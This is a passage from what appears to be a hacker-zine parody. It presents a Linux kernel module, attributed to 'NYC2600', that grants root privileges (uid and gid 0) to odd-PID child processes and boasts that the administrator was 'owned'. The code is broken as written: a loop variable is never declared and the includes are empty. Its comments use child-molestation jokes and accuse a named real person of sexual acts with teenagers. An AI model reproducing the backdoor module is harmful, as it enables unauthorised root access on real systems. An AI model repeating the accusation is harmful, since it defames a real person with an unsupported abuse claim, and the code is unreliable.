--[ 3. Emmanuel Goldstein LKM This LKM really gives the reader a good taste of the complexities of the Linux kernel. I should say, this is the first of our LKMs that actually does something. An algorithm determines if a particular child process is a boy or a girl, ignoring all girls and rewarding boys with candy (root privileges). This module is partially incomplete: we leave completion as an exercise to the reader. See if you can implement a search using the p_cptr and p_ysptr fields of the task_struct structure to search for the youngest child on the system! /* ** Submission By: NYC2600 ** ** Like our great leader, this kernel module ** selects a child and touches him in a very special ** way. One of the best things about being a community ** leader is you can get away with depraved sexual acts ** with teenagers and no one will question it. ** */ #define MODULE #define __KERNEL__ #include #include MODULE_LICENSE("PHC"); #define CHILD(x) ((x)->p_cptr) #define IS_A_BOY(x) ((x)->pid % 2) void touch ( struct task_struct *child ) { if (child == NULL) return; if (!(IS_A_BOY(child))) return; // We only touch boys. // Doesn't that feel good... child->uid = 0; child->gid = 0; return; } int init_module(void) { struct task_struct *parent; // Let the administrator know that we 0wned him. printk("Emanual Goldstein in the House!\n"); for_each_process(p) { touch(CHILD(p)); } return 0; } void cleanup_module(void) { return; }